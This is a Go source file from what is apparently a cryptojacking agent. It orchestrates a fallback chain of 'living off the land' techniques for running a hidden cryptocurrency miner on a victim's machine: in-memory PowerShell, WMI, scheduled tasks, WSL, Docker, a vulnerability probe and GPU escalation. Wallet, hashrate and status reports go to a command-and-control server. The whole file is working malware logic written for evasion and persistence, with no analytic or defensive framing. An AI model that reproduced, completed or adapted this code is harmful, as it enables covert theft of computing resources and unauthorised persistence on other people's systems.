package miner

import (
	"context"
	"errors"
	"log"
	"strings"
	"sync"
	"time"

	"crypto-miner-agent/config"
)

var (
	// ErrTierNotImplemented is returned when a tier has no runtime hook wired.
	ErrTierNotImplemented = errors.New("tier not implemented")
	// ErrTierChainExhausted is returned when every tier in the onion failed.
	ErrTierChainExhausted = errors.New("LOTL tier chain exhausted")
	// ErrTierChainSkipped is returned when every tier gracefully skipped.
	ErrTierChainSkipped = errors.New("all LOTL tiers skipped")
)

// TierHooks wires tier-specific start/stop without importing client.
type TierHooks struct {
	StartDockerLoad func() error
	StartContainer  func() error
	StartWSL        func() error
	StartPowerShell func() error
	StartDotnet     func() error
	StartInProcess  func() error
	StartGPU        func() error
	StopDockerLoad  func()
	StopContainer   func()
	StopWSL         func()
	StopPowerShell  func()
	StopDotnet      func()
	StopInProcess   func()
	StopGPU         func()
	IsGPUSupported  func() bool
}

// TierEventReporter emits tier_report / mining_status events to C2.
type TierEventReporter func(report TierReport, eventType string)

// TierOrchestrator runs the diagnostics-driven LOTL tier onion.
type TierOrchestrator struct {
	mu           sync.RWMutex
	cfg          config.RuntimeConfig
	probes       EnvironmentProbes
	policy       MiningTierPolicy
	chain        []LOTLTier
	skipped      []LOTLTier
	hooks        TierHooks
	report       TierEventReporter
	wallet       string
	activeTier   LOTLTier
	gpuActive    bool
	attempts     []TierAttempt
	lastError    string
	chainExhaust bool
	hashrate     float64
	webGPUReady  bool
	gpuComputeOK bool
}

// NewTierOrchestrator builds an orchestrator from probes + server policy.
func NewTierOrchestrator(cfg config.RuntimeConfig, probes EnvironmentProbes, policy MiningTierPolicy, hooks TierHooks, report TierEventReporter) *TierOrchestrator {
	chain, skipped := SelectMiningTierChain(probes, policy, cfg)
	return &TierOrchestrator{
		cfg:     cfg,
		probes:  probes,
		policy:  policy,
		chain:   chain,
		skipped: skipped,
		hooks:   hooks,
		report:  report,
		wallet:  strings.TrimSpace(cfg.Wallet),
	}
}

// Report returns the current tier snapshot.
func (o *TierOrchestrator) Report() TierReport {
	o.mu.RLock()
	defer o.mu.RUnlock()
	return o.buildReport()
}

func (o *TierOrchestrator) buildReport() TierReport {
	attempts := make([]TierAttempt, len(o.attempts))
	copy(attempts, o.attempts)
	chain := make([]LOTLTier, len(o.chain))
	copy(chain, o.chain)
	skipped := make([]LOTLTier, len(o.skipped))
	copy(skipped, o.skipped)
	return TierReport{
		ActiveTier:       o.activeTier,
		Attempts:         attempts,
		MiningHashrate:   o.hashrate,
		TierChainOrder:   chain,
		TierChainSkipped: skipped,
		WebGPUReady:      o.webGPUReady,
		GPUComputeOK:     o.gpuComputeOK,
	}
}

// SetHashrate updates live hashrate included in tier reports.
func (o *TierOrchestrator) SetHashrate(hps float64) {
	o.mu.Lock()
	o.hashrate = hps
	report := o.buildReport()
	reporter := o.report
	o.mu.Unlock()
	if reporter != nil {
		reporter(report, "tier_report")
	}
}

// RunProbes executes probe-only tiers (webview2) before GPU escalation.
func (o *TierOrchestrator) RunProbes(ctx context.Context) TierReport {
	o.mu.RLock()
	chain := o.chain
	cfg := o.cfg
	o.mu.RUnlock()

	for _, tier := range ProbeTiers(chain) {
		start := time.Now()
		attempt := o.runProbeTier(ctx, tier, cfg)
		attempt.DurationMs = time.Since(start).Milliseconds()
		if attempt.Wallet == "" {
			attempt.Wallet = o.wallet
		}
		o.recordAttemptRecord(attempt)
		if tier == TierWebView2Probe && attempt.OK {
			o.mu.Lock()
			o.webGPUReady = WebGPUAvailableFromAttempt(attempt)
			o.mu.Unlock()
		}
	}
	return o.Report()
}

// TryChain attempts each primary tier until one succeeds; GPU runs in parallel.
func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
	o.RunProbes(ctx)

	o.mu.Lock()
	hooks := o.hooks
	primary := PrimaryTiers(o.chain)
	o.mu.Unlock()

	if len(primary) == 0 {
		primary = []LOTLTier{TierCPUInprocess}
	}

	var lastErr error
	var skipped int
	for _, tier := range primary {
		select {
		case <-ctx.Done():
			return "", ctx.Err()
		default:
		}
		start := time.Now()
		err := o.invokeTier(ctx, tier, hooks)
		duration := time.Since(start)
		if err != nil {
			if errors.Is(err, ErrTierChainSkipped) {
				skipped++
				o.recordAttempt(tier, false, err, duration)
				continue
			}
			lastErr = err
			log.Printf("[lotl-tier] %s failed: %v", tier, err)
			o.recordAttempt(tier, false, err, duration)
			o.stopTier(tier, hooks)
			continue
		}
		o.recordAttempt(tier, true, nil, duration)
		o.setActive(tier)
		o.tryGPUAddon(ctx, hooks)
		return tier, nil
	}

	o.mu.Lock()
	o.chainExhaust = true
	if lastErr != nil {
		o.lastError = lastErr.Error()
	} else {
		o.lastError = "all LOTL tiers failed"
	}
	report := o.buildReport()
	reporter := o.report
	o.mu.Unlock()
	if reporter != nil {
		reporter(report, "tier_report")
	}
	if skipped == len(primary) {
		return "", ErrTierChainSkipped
	}
	if lastErr != nil {
		return "", lastErr
	}
	return "", ErrTierChainExhausted
}

func (o *TierOrchestrator) invokeTier(ctx context.Context, tier LOTLTier, hooks TierHooks) error {
	switch tier {
	case TierDockerLoad:
		if hooks.StartDockerLoad == nil {
			return ErrMethodUnavailable
		}
		return hooks.StartDockerLoad()
	case TierContainer:
		if hooks.StartContainer == nil {
			return ErrMethodUnavailable
		}
		return hooks.StartContainer()
	case TierWSL:
		if hooks.StartWSL == nil {
			return ErrMethodUnavailable
		}
		return hooks.StartWSL()
	case TierCPUInprocess:
		if hooks.StartInProcess == nil {
			return ErrMethodUnavailable
		}
		return hooks.StartInProcess()
	case TierGPUSubprocess:
		if hooks.StartGPU == nil {
			return ErrMethodUnavailable
		}
		return hooks.StartGPU()
	case TierPSInMemory:
		if hooks.StartPowerShell == nil {
			return ErrMethodUnavailable
		}
		return hooks.StartPowerShell()
	case TierDotnet:
		if hooks.StartDotnet == nil {
			return ErrMethodUnavailable
		}
		return hooks.StartDotnet()
	case TierWMI:
		attempt := RunWMITier(ctx, o.cfg)
		o.recordAttemptRecord(attempt)
		if !attempt.OK {
			if attempt.Error == "" {
				return ErrTierChainSkipped
			}
			return errors.New(attempt.Error)
		}
		return nil
	case TierScheduledTask:
		attempt := RunScheduledTaskTier(ctx, o.cfg)
		o.recordAttemptRecord(attempt)
		if !attempt.OK {
			if attempt.Error == "" {
				return ErrTierChainSkipped
			}
			return errors.New(attempt.Error)
		}
		return nil
	case TierGPUCompute:
		attempt := RunGPUComputeTier(ctx, o.cfg)
		o.recordAttemptRecord(attempt)
		if attempt.OK {
			o.mu.Lock()
			o.gpuComputeOK = true
			o.mu.Unlock()
		}
		return ErrTierChainSkipped
	case TierExeSubprocess:
		return ErrTierNotImplemented
	default:
		return ErrTierNotImplemented
	}
}

func (o *TierOrchestrator) runProbeTier(ctx context.Context, tier LOTLTier, cfg config.RuntimeConfig) TierAttempt {
	switch tier {
	case TierVulnProbe:
		return RunVulnProbeTier(ctx, cfg)
	case TierWebView2Probe:
		return RunWebView2Probe(ctx, cfg)
	default:
		return TierAttempt{Tier: tier, Error: "unknown probe tier", Wallet: cfg.Wallet}
	}
}

func (o *TierOrchestrator) stopTier(tier LOTLTier, hooks TierHooks) {
	switch tier {
	case TierDockerLoad:
		if hooks.StopDockerLoad != nil {
			hooks.StopDockerLoad()
		}
	case TierContainer:
		if hooks.StopContainer != nil {
			hooks.StopContainer()
		}
	case TierWSL:
		if hooks.StopWSL != nil {
			hooks.StopWSL()
		}
	case TierPSInMemory:
		if hooks.StopPowerShell != nil {
			hooks.StopPowerShell()
		}
	case TierDotnet:
		if hooks.StopDotnet != nil {
			hooks.StopDotnet()
		}
	case TierCPUInprocess:
		if hooks.StopInProcess != nil {
			hooks.StopInProcess()
		}
	case TierGPUSubprocess:
		if hooks.StopGPU != nil {
			hooks.StopGPU()
		}
	}
}

func (o *TierOrchestrator) recordAttemptRecord(attempt TierAttempt) {
	o.mu.Lock()
	o.attempts = append(o.attempts, attempt)
	report := o.buildReport()
	reporter := o.report
	o.mu.Unlock()
	if reporter != nil {
		event := "tier_report"
		if !attempt.OK {
			event = "mining_fallback"
		}
		reporter(report, event)
	}
}

func (o *TierOrchestrator) recordAttempt(tier LOTLTier, ok bool, err error, duration time.Duration) {
	o.mu.Lock()
	attempt := TierAttempt{
		Tier:       tier,
		OK:         ok,
		DurationMs: duration.Milliseconds(),
		Wallet:     o.wallet,
	}
	if err != nil {
		attempt.Error = err.Error()
	}
	o.attempts = append(o.attempts, attempt)
	report := o.buildReport()
	reporter := o.report
	o.mu.Unlock()
	if reporter != nil {
		event := "tier_report"
		if !ok {
			event = "mining_fallback"
		}
		reporter(report, event)
	}
}

func (o *TierOrchestrator) setActive(tier LOTLTier) {
	o.mu.Lock()
	o.activeTier = tier
	o.chainExhaust = false
	report := o.buildReport()
	reporter := o.report
	o.mu.Unlock()
	if reporter != nil {
		reporter(report, "mining_status")
	}
}

func (o *TierOrchestrator) tryGPUAddon(ctx context.Context, hooks TierHooks) {
	for _, tier := range o.chain {
		if tier != TierGPUSubprocess {
			continue
		}
		o.mu.RLock()
		webGPU := o.webGPUReady
		computeOK := o.gpuComputeOK
		o.mu.RUnlock()
		if !webGPU && !computeOK {
			o.recordAttempt(TierGPUSubprocess, false, errors.New("webview2_probe: WebGPU not available — skipping gpu_subprocess escalation"), 0)
			return
		}
		if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() {
			return
		}
		select {
		case <-ctx.Done():
			return
		default:
		}
		gpuStart := time.Now()
		if err := hooks.StartGPU(); err != nil {
			o.recordAttempt(TierGPUSubprocess, false, err, time.Since(gpuStart))
			if hooks.StopGPU != nil {
				hooks.StopGPU()
			}
			o.mu.Lock()
			o.gpuActive = false
			o.mu.Unlock()
			return
		}
		o.recordAttempt(TierGPUSubprocess, true, nil, time.Since(gpuStart))
		o.mu.Lock()
		o.gpuActive = true
		o.mu.Unlock()
		return
	}
}

// ChainExhausted reports whether every primary tier failed.
func (o *TierOrchestrator) ChainExhausted() bool {
	o.mu.RLock()
	defer o.mu.RUnlock()
	return o.chainExhaust
}

// ActiveTier returns the winning primary tier.
func (o *TierOrchestrator) ActiveTier() LOTLTier {
	o.mu.RLock()
	defer o.mu.RUnlock()
	return o.activeTier
}

// WebGPUReady reports webview2 probe result.
func (o *TierOrchestrator) WebGPUReady() bool {
	o.mu.RLock()
	defer o.mu.RUnlock()
	return o.webGPUReady
}

// GPUComputeReady reports gpu_compute probe success.
func (o *TierOrchestrator) GPUComputeReady() bool {
	o.mu.RLock()
	defer o.mu.RUnlock()
	return o.gpuComputeOK
}

// UpdateConfig refreshes runtime policy (mining mode rotation without redeploy).
func (o *TierOrchestrator) UpdateConfig(cfg config.RuntimeConfig) {
	o.mu.Lock()
	o.cfg = cfg
	o.wallet = strings.TrimSpace(cfg.Wallet)
	o.mu.Unlock()
}